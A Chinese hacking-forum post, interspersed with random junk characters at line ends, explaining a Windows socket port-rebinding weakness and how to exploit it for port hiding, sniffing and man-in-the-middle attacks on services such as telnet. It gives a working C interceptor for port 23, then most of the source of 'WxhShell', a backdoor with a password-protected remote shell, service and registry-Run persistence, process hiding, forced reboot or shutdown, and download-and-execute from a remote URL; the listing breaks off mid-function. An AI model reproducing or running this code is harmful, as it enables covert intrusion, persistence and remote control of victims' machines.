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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |h^[/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B'NtG84  
stxei 6  
  saddr.sin_family = AF_INET; I:|<};m m  
|ty?Ah,vb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); WZ@hP'Zc  
DsJ ikg(J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,5*Z<[*  
1s-dqHz"s  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;- 0 d2Z  
q\DN8IJ  
  这意味着什么?意味着可以进行如下的攻击: }>93X0%r  
7Gh+EJJ3I  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T6ihEb$C  
yN@3uYBF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) we("#s1=  
cMU"SO  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eW<|I  
V><,.p8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +x!Hc  
:?!b\LJ2^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H^3f!\MC;o  
omP\qOc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .#q]{j@Ot  
u+7S/9q8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !{1;wC(b  
1G'D'  
  #include 2RbK##`vC  
  #include $./&GOus  
  #include $,.XPK5Q u  
  #include    w!%"b03q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   IRknD3LX  
  int main() \:BixBU7  
  { +^<s'  
  WORD wVersionRequested; @fQvAok  
  DWORD ret; O7"16~ a  
  WSADATA wsaData; Z g.La<#  
  BOOL val; U-*`I?~=4  
  SOCKADDR_IN saddr; 5i@WBa  
  SOCKADDR_IN scaddr; gF>t+"+ x  
  int err; e?7Oom  
  SOCKET s; 4%$#   
  SOCKET sc; it$w.v+W7V  
  int caddsize; )Drif\FF)  
  HANDLE mt; +;ylld  
  DWORD tid;   #|"M  
  wVersionRequested = MAKEWORD( 2, 2 ); (zX75QSKV  
  err = WSAStartup( wVersionRequested, &wsaData ); qKD Nw8>  
  if ( err != 0 ) { Ya &\b 6  
  printf("error!WSAStartup failed!\n"); sj3[ny;b  
  return -1; yBRYEqS+  
  } h0&Oy52  
  saddr.sin_family = AF_INET; /,,IM/(6^  
   C"QB`f:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 onU\[VvM  
5c\dm  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `]=0oDG:1!  
  saddr.sin_port = htons(23); 1)#dgsa  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b~*CJ8Ad  
  { hb<cynY  
  printf("error!socket failed!\n"); $x*(D|\'<  
  return -1; ?[=OQ/E  
  } x }@P  
  val = TRUE; Jr=XVQ(F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JRR,ooN*i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0!b9%I=j  
  { (h|E@gRa  
  printf("error!setsockopt failed!\n"); \4KV9wm  
  return -1; aH_0EBRc  
  } CB0p2WS_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8shx7"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B|"-Ed  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {kghZur  
Vb)NWXmyu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (]` rri*^  
  {  20]p<  
  ret=GetLastError(); ?IG[W+M8  
  printf("error!bind failed!\n"); s o7.$]aV  
  return -1; t,u;"%go  
  } qfX26<q  
  listen(s,2); "QvTn=  
  while(1) N F,<^ u  
  { _fccZf(yC.  
  caddsize = sizeof(scaddr); @R Jr ~y0  
  //接受连接请求 [:zP]l.|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^'n;W<\p)  
  if(sc!=INVALID_SOCKET) Q*hXFayx  
  { p^1~o/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @ qS Z=  
  if(mt==NULL) / E!N:g<  
  { H*P[tyz$  
  printf("Thread Creat Failed!\n"); {DapXx  
  break; q8!]x-5$6j  
  } `pjB^--w  
  } p<<dj%  
  CloseHandle(mt); #;= sJ[m4  
  } [tRb{JsUd  
  closesocket(s); ~RH)iI  
  WSACleanup(); cua( w  
  return 0; Ciy%7_~\  
  }   q+} \ (|  
  DWORD WINAPI ClientThread(LPVOID lpParam) \&l@rMD3s  
  { B3<sSe8L0  
  SOCKET ss = (SOCKET)lpParam; 8F&Y;  
  SOCKET sc; 4peRbm  
  unsigned char buf[4096]; Q_Wg4n5  
  SOCKADDR_IN saddr; `2/V.REX$h  
  long num; DYoGtks(  
  DWORD val; dQz#&&s-  
  DWORD ret; [FZq'E"87  
  //如果是隐藏端口应用的话,可以在此处加一些判断 LJ K0WWch  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,M~> t7+  
  saddr.sin_family = AF_INET; _'4S1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); phQ{<wzwp  
  saddr.sin_port = htons(23); s\< @v7A  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FKPR;H8>  
  { OIIA^QyV  
  printf("error!socket failed!\n"); J0imWluhQ  
  return -1; tH~>uOZW  
  } 6 FN#Xg  
  val = 100; p1\mjM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A+j!VM   
  { B>4/[ YHr;  
  ret = GetLastError(); o7 0] F  
  return -1; M!D6i5k,   
  } gWL`J=DiU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vOLa.%X]h  
  { 5,4m_fBoW  
  ret = GetLastError(); ?\kuP ?\  
  return -1; U^eos;:s8  
  } &KY!a0s  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rP}[>  
  { F+ 7*SImv6  
  printf("error!socket connect failed!\n"); $fB j}\o  
  closesocket(sc); h?H|)a<^9  
  closesocket(ss); $wn0oIuW  
  return -1; ! ,0  
  } K&,";9c  
  while(1) ` Z/ MQ  
  { Abi(1nXdQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m\XG7uo~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 . :>e"D  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #WJ*)$A@&  
  num = recv(ss,buf,4096,0); T|0+o+i  
  if(num>0) 8.>himL  
  send(sc,buf,num,0); ]G D` f  
  else if(num==0) AF8:bk,R  
  break; eco&!R[G  
  num = recv(sc,buf,4096,0); [ [pt~=0  
  if(num>0) I~6 o<HO  
  send(ss,buf,num,0); $4}G  
  else if(num==0) 0qIg:+l+  
  break; 7A) E4f'  
  } pp@B]We  
  closesocket(ss); Ni%@bU $  
  closesocket(sc); ($>m]|  
  return 0 ; ->X>h_k.Y  
  } $7ix(WL<%  
lD, ~%  
"vT$?IoEV  
========================================================== I!Z"X&  
i(OeE"YA  
下边附上一个代码,,WXhSHELL #@xB ?u-0q  
G%, RD}D  
========================================================== }%-iJ\  
ZzjCS2U  
#include "stdafx.h" fUGappb  
Zxhbnl6  
#include <stdio.h> N|Ag8/2A  
#include <string.h> q3#+G:nh  
#include <windows.h> (Q @'fb9z  
#include <winsock2.h> 9zS   
#include <winsvc.h> x(xi%?G  
#include <urlmon.h> `R>z{-@=  
KQvSeH>r  
#pragma comment (lib, "Ws2_32.lib") Z1:%Aq xP  
#pragma comment (lib, "urlmon.lib") .Zj`_5C  
zsd1n`r  
#define MAX_USER   100 // 最大客户端连接数 6}?d%K  
#define BUF_SOCK   200 // sock buffer p:K%-^  
#define KEY_BUFF   255 // 输入 buffer 4obW>  
0?( uqjD:  
#define REBOOT     0   // 重启 Goc?HR  
#define SHUTDOWN   1   // 关机 q5L^>"  
."=%]l 0  
#define DEF_PORT   5000 // 监听端口 |q 8N$m  
aidQ,(PDj  
#define REG_LEN     16   // 注册表键长度 "bDj 00nwh  
#define SVC_LEN     80   // NT服务名长度 AFm9"mQrw  
Kvo&_:  
// 从dll定义API 1^2Q`~,g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <nN.$4~X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P.5l9N s(O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L<0_e^8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); # =tw ,S  
,a,2I  
// wxhshell配置信息 )5LT!14  
struct WSCFG { (3lA0e`Y  
  int ws_port;         // 监听端口 HKJBR)T  
  char ws_passstr[REG_LEN]; // 口令 o5 fV,BJZO  
  int ws_autoins;       // 安装标记, 1=yes 0=no VgODv  
  char ws_regname[REG_LEN]; // 注册表键名 '?mF,C o{  
  char ws_svcname[REG_LEN]; // 服务名 rhy-o?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 } `r.fD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5lJL[{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^/#G,MxNy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -{k8^o7$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N0Y4m_dm*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y.J>}[\&x  
7U_ob"`JV  
}; VXWV Pj#  
,LN^Zx*  
// default Wxhshell configuration VQ| {Q}  
struct WSCFG wscfg={DEF_PORT, %),u0:go  
    "xuhuanlingzhe", ;nP(S`'  
    1, 5cinI^x)f  
    "Wxhshell", M TZCI}  
    "Wxhshell", }O>1tauI  
            "WxhShell Service", `G/g/>y  
    "Wrsky Windows CmdShell Service", }`Ya;  
    "Please Input Your Password: ", rU&Y/  
  1, =CRptk6tS  
  "http://www.wrsky.com/wxhshell.exe", pR93T+X  
  "Wxhshell.exe" Ao$k[#px  
    }; 8K?}!$fz  
J  sz=5`  
// 消息定义模块 g:a[N%[C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k]5tU\;Yw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !ess.U&m'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gqy>;A:kO  
char *msg_ws_ext="\n\rExit."; D@gC(&U/6  
char *msg_ws_end="\n\rQuit."; ~M-L+XZl(  
char *msg_ws_boot="\n\rReboot..."; cI@qt>&  
char *msg_ws_poff="\n\rShutdown..."; VGD~) z57  
char *msg_ws_down="\n\rSave to "; *oz#YGNm  
2#R$-* ;#  
char *msg_ws_err="\n\rErr!"; a-Y6ghs  
char *msg_ws_ok="\n\rOK!"; un_NBv}  
]!"w?-h Si  
char ExeFile[MAX_PATH]; rFpYlMct  
int nUser = 0; @4T   
HANDLE handles[MAX_USER]; ?x&}ammid  
int OsIsNt; jIT|Kk&]  
qe{;EH*  
SERVICE_STATUS       serviceStatus; 8I RKCuV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q|h$D~  
zpT^:Ag  
// 函数声明 qi7C.w;  
int Install(void); U\H[.qY-  
int Uninstall(void); ].kj-,5>f  
int DownloadFile(char *sURL, SOCKET wsh); O5-GrR^yt  
int Boot(int flag); } SW p~3P  
void HideProc(void); 7;AK=;  
int GetOsVer(void); ||QK)$"  
int Wxhshell(SOCKET wsl); CU\gx*=E  
void TalkWithClient(void *cs); b)Da6fp  
int CmdShell(SOCKET sock); /X.zt `  
int StartFromService(void); = NZgbl  
int StartWxhshell(LPSTR lpCmdLine); 'LPyh ;!f  
^C ~Ryw7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6`Tx meIP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $.4A?,d  
S,6/X.QBv  
// 数据结构和表定义 B2Y.1mXq  
SERVICE_TABLE_ENTRY DispatchTable[] = *cXq=/s  
{ JS^DyBXc  
{wscfg.ws_svcname, NTServiceMain}, /Tm+&Jd  
{NULL, NULL} VtI`Qc jc  
}; dv\bkDF4A  
XH~(=^/_  
// 自我安装 wB0vpt5f  
int Install(void) z+Fu{<#(  
{ "NLuAB. P  
  char svExeFile[MAX_PATH]; s=(q#Z  
  HKEY key; sk39[9  
  strcpy(svExeFile,ExeFile); AJEbiP  
Yft [)id  
// 如果是win9x系统,修改注册表设为自启动 ptT-{vG  
if(!OsIsNt) { h/C{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nWCJY:q;5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9-j-nx @)  
  RegCloseKey(key); !8|r$mN8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZJbaioc\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uYs45 G  
  RegCloseKey(key); 8?L-3/  
  return 0; .mrv"k\<  
    } ]GRVU  
  } ~-sgk"$  
} #QlxEs#%  
else { qYe`</  
@+~URIG)  
// 如果是NT以上系统,安装为系统服务 :twp95{R1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PQ!'<  
if (schSCManager!=0) P)y2'JKL  
{ &/' O?HWl  
  SC_HANDLE schService = CreateService (oiQ5s^f  
  ( o}waJN`yI  
  schSCManager, ByoI+n* U  
  wscfg.ws_svcname, ,^ -%<  
  wscfg.ws_svcdisp, W1o6Sh8v(  
  SERVICE_ALL_ACCESS, # r>)A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _G4 U  
  SERVICE_AUTO_START, Q!-"5P X  
  SERVICE_ERROR_NORMAL, [Ti ' X#  
  svExeFile, -k>k<bDAI  
  NULL, 9gK1Gx:  
  NULL, :L:] 3L  
  NULL, Z< C39s  
  NULL, ]_s;olKNI  
  NULL x=K'Jj  
  ); Vd.XZ*}r*  
  if (schService!=0) -H\j-k  
  { ,,EG"Um6  
  CloseServiceHandle(schService); Wvd-be  
  CloseServiceHandle(schSCManager); !eb{#9S*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~ c~j  
  strcat(svExeFile,wscfg.ws_svcname);  k_^ 4NU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rmX5-k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =RWY0|f  
  RegCloseKey(key); 9l&G2 o   
  return 0; Q.8^F  
    } ept:<!4  
  } $WE _aNfja  
  CloseServiceHandle(schSCManager); \8{Tj54NA  
} GXv2B%i8  
} 7|J&fc5BP  
f~jd N~  
return 1; 9)b{U2&  
} x)q$.u+  
&&}c R:U,  
// 自我卸载 w3>G3=b  
int Uninstall(void) O9N%dir  
{ %74f6\  
  HKEY key; Z +<Y.*6  
>NpW$P{'  
if(!OsIsNt) { gs@^u#O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2<2a3'pG  
  RegDeleteValue(key,wscfg.ws_regname); 3U?^49bJ  
  RegCloseKey(key); 1mEW]z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uxq#q1  
  RegDeleteValue(key,wscfg.ws_regname); e [F33%  
  RegCloseKey(key); )pey7-P7g5  
  return 0; {5fq4A A6  
  } brn>FFAwO  
} Y k"yup@3  
} YWq{?'AaR  
else { !\&4,l(  
F<6{$YI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 38JU-aq  
if (schSCManager!=0) +A_jm!tJS(  
{ "yXqf%CGE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f K4M:_u  
  if (schService!=0) :~,akX$  
  { \ItAc2,Fl  
  if(DeleteService(schService)!=0) { cja-MljD  
  CloseServiceHandle(schService); 0`WZ  
  CloseServiceHandle(schSCManager); W?@+LQa??  
  return 0; #|e5i9l*B  
  } 3'`X_C|d53  
  CloseServiceHandle(schService); abV,]x&.0  
  } klj.\wg/p{  
  CloseServiceHandle(schSCManager); D <Fl7QAb  
} *\wf(o>Q  
} jRdW=/q+(  
|1 LKdP  
return 1; ~U4;YlQP  
} @] {:juD~  
xWty2/!h  
// 从指定url下载文件 m9m~2   
int DownloadFile(char *sURL, SOCKET wsh) 'nqVcNgb  
{ S>?B)  
  HRESULT hr; ~leLQsZ  
char seps[]= "/"; Jb z>j\  
char *token; 5s2/YG=  
char *file; }(if|skau  
char myURL[MAX_PATH]; P,Rqv)}X  
char myFILE[MAX_PATH]; s!BZrVM%I`  
a<V* )  
strcpy(myURL,sURL); V=H}Ecd  
  token=strtok(myURL,seps); `?Xt ,  
  while(token!=NULL) X 7"hTD  
  { >za=v  
    file=token; @sb00ad2q  
  token=strtok(NULL,seps); 1HNX 6  
  } 7llEB*dSA  
8 uhB&qxB  
GetCurrentDirectory(MAX_PATH,myFILE); &@xeWB  
strcat(myFILE, "\\"); ?GGh )";y  
strcat(myFILE, file); 'r?OzFtxh  
  send(wsh,myFILE,strlen(myFILE),0); su]ywVoRT  
send(wsh,"...",3,0); h!>NS ?X7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z'}?mE3i  
  if(hr==S_OK) A&fh0E (t  
return 0; V.274e  
else 3#T_(  
return 1; #3u471bp  
0=J69Yd  
} /waZ9  
Y:="vWWG  
// 系统电源模块 IN9o$CZ:  
int Boot(int flag) 8M'6Kcr  
{ ~d?\rj3=  
  HANDLE hToken; DWH)<\?  
  TOKEN_PRIVILEGES tkp; [f'DxZF-  
KGX?\#-  
  if(OsIsNt) { jNNl5.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  goT:\2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i(c'94M  
    tkp.PrivilegeCount = 1; y0' "  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uy;3s=03^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Fw5r\J87c  
if(flag==REBOOT) { 2={ g'k(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G1'w50Yu  
  return 0; ARu^hz=  
} " ,rA  
else { J=U7m@))Y#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rbP3&L  
  return 0; *lG$B@;rc|  
} K~WwV8c9;  
  } 2h6F j&  
  else { o&~z8/?LA  
if(flag==REBOOT) { -}juj;IVv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ve8`5  
  return 0; Yazpfw 7'd  
} {ersXQ:  
else { 2s6Hr;^w.1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _H8)O2mJ  
  return 0; #PA"l` "  
} I/)dXk~  
}  Phgn|  
uj/le0  
return 1; .[Sv|;x"E  
} D_9/|:N:  
^?xXP=/  
// win9x进程隐藏模块 %9NGVC  
void HideProc(void) \aUbBa%!  
{ I"JT3[*s  
+dh]k=6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |#2<4sd  
  if ( hKernel != NULL ) ?\#4`9  
  { ]-fZeyY$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uX0wg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <qRw! 'S^  
    FreeLibrary(hKernel); {fN_itn  
  } T)Nis~  
%r!#  
return; d$2{_6  
} kb7\qH!n  
&GD7ldck  
// 获取操作系统版本 S5Px9&N8(  
int GetOsVer(void) MB |(,{S  
{ aQ~x$T|  
  OSVERSIONINFO winfo; :6M0`V;L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H*\ }W  
  GetVersionEx(&winfo); P|(J]/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2iG(v._x  
  return 1; vp_$6  
  else ;5%&q6&a  
  return 0; \qTn"1b Q  
} bL[PNUG  
~V|!\CB  
// 客户端句柄模块 wRiP5U,  
int Wxhshell(SOCKET wsl) 9H)uTyuNi  
{ ntkinbbD  
  SOCKET wsh;  #b"IX`5  
  struct sockaddr_in client; P`%ppkzV6  
  DWORD myID; ?\pE#~m  
AeJM[fCMa  
  while(nUser<MAX_USER) <|`@K| N  
{ q9!#S  
  int nSize=sizeof(client); IGqmH=-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 88*RlxU  
  if(wsh==INVALID_SOCKET) return 1; ^#Y6 E  
}mGD`5[`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6b8Klrar!  
if(handles[nUser]==0) s+w<!`-  
  closesocket(wsh); {pg@JA  
else gdZVc9 _  
  nUser++; dB,#`tc=,  
  } [uY 2N h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Iw:("A&~  
bYgYP|@  
  return 0; ppD ~xg]  
} ,TtDCcjd%f  
:58'U|  
// 关闭 socket 2r0!h98  
void CloseIt(SOCKET wsh) ri;M7rg`.{  
{ BT1'@qF  
closesocket(wsh); 3.H-G~  
nUser--; dtBV0$  
ExitThread(0); !491 \W0ZH  
} [-gKkOT8E  
2"'8x?.V  
// 客户端请求句柄 htRZ}e  
void TalkWithClient(void *cs) [Z+,)-ke  
{ >z -(4Z  
y m{/0&7  
  SOCKET wsh=(SOCKET)cs; XOwMT,=Z)  
  char pwd[SVC_LEN]; 1c"m$)a4  
  char cmd[KEY_BUFF]; &NQR*Tn  
char chr[1]; l1qwT0*6>  
int i,j; L _y|l5  
NGs9Jke2  
  while (nUser < MAX_USER) { =eoxT  
j1C.#-P[  
if(wscfg.ws_passstr) { Umt ia~x=&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `VE&Obp[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \KXEw2S  
  //ZeroMemory(pwd,KEY_BUFF); I yN9 +  
      i=0; @<=#i  
  while(i<SVC_LEN) { Kc\'s65.]  
;T+U&U0d|  
  // 设置超时 ZcRm5Du~:  
  fd_set FdRead; 05 Q8`  
  struct timeval TimeOut; B[B<U~I}  
  FD_ZERO(&FdRead); d)ZSzq  
  FD_SET(wsh,&FdRead); z]|[VM?4L  
  TimeOut.tv_sec=8; MEnHC'nI  
  TimeOut.tv_usec=0; ] *VF Ws  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \X.=3lc&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &:#8ol(n5b  
|I5?5 J\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gA1in  
  pwd=chr[0]; 97wy;'J[u  
  if(chr[0]==0xd || chr[0]==0xa) { SvP\JQ<c  
  pwd=0; >m1V9A  
  break; z8 ;#H tr  
  } Z:J.FI@  
  i++; F'$S!K58  
    } u=}bq{  
gNN" H#=2  
  // 如果是非法用户,关闭 socket <?{}Bo0xG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3t{leuO'  
} $,,>R[;w  
s8d}HI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j~*Z7iu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tZ j,A%<  
{3(.c, q@  
while(1) { Q_0x6]/!  
0s9z @>2  
  ZeroMemory(cmd,KEY_BUFF); =&VXn{e  
q VdC?A|  
      // 自动支持客户端 telnet标准   ]z=Vc#+!  
  j=0; 2 C]la  
  while(j<KEY_BUFF) { Te@6N\g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }`N2ZxC0AQ  
  cmd[j]=chr[0]; zMYd|2bc  
  if(chr[0]==0xa || chr[0]==0xd) { 4<Sa,~4  
  cmd[j]=0; 9N D+w6"  
  break; iQ{&&>V%  
  } -?B9>6 h "  
  j++; RYZE*lWUh  
    } ^_KD&%M6  
CTkN8{2S  
  // 下载文件 %|(?!w7  
  if(strstr(cmd,"http://")) { "8muMa8Q%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !UMo4}Y  
  if(DownloadFile(cmd,wsh)) f3TlJ!!U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z34>,0  
  else '#N5i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MFH"$t+  
  } U7"BlT!V\  
  else { 3U~lI&  
hygnC`|  
    switch(cmd[0]) { Rz zFhU#r  
  {y^|ET7  
  // 帮助 1n`1o-&l-  
  case '?': { 0/:=wn^pg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?ng14e  
    break; 2b#(X'ob  
  } 0Ox|^V  
  // 安装 /iUUM t'  
  case 'i': { 9fuJJ3L[  
    if(Install()) >I d!I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <4Q12:  
    else Vj=Xcn#*8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o'eI(@{F=  
    break; J`r,_)J"2  
    } 9si}WqAw  
  // 卸载 ^S#\O>GHP  
  case 'r': { afY_9g!\  
    if(Uninstall()) Vm~qk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SH vaV[C  
    else wHt J_Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v\ %B  
    break; /^'Bgnez  
    } Q54r?|'V  
  // 显示 wxhshell 所在路径 l`b1%0y  
  case 'p': { JY2/YDJ  
    char svExeFile[MAX_PATH]; i,#k}CNu  
    strcpy(svExeFile,"\n\r"); =naR{pI  
      strcat(svExeFile,ExeFile); %AG1oWWc>.  
        send(wsh,svExeFile,strlen(svExeFile),0); 2~!R*i  
    break; H|;*_  
    } `ke3+%uj o  
  // 重启 yuHZ&e  
  case 'b': { `/O`OrZ1K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *;hY.EuoFz  
    if(Boot(REBOOT)) i<T P:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sno`=+|U]  
    else { c~}={4M]  
    closesocket(wsh); SyK9Is{8  
    ExitThread(0); Vi|7%!j<  
    } ?;|@T ty%  
    break; ryxYcEM0  
    } KVB0IXZC~  
  // 关机 ~:>AR` 9G  
  case 'd': { 90/vJN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MpO RGd  
    if(Boot(SHUTDOWN)) e~{^oM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Y6I_U  
    else {  nbI= r+  
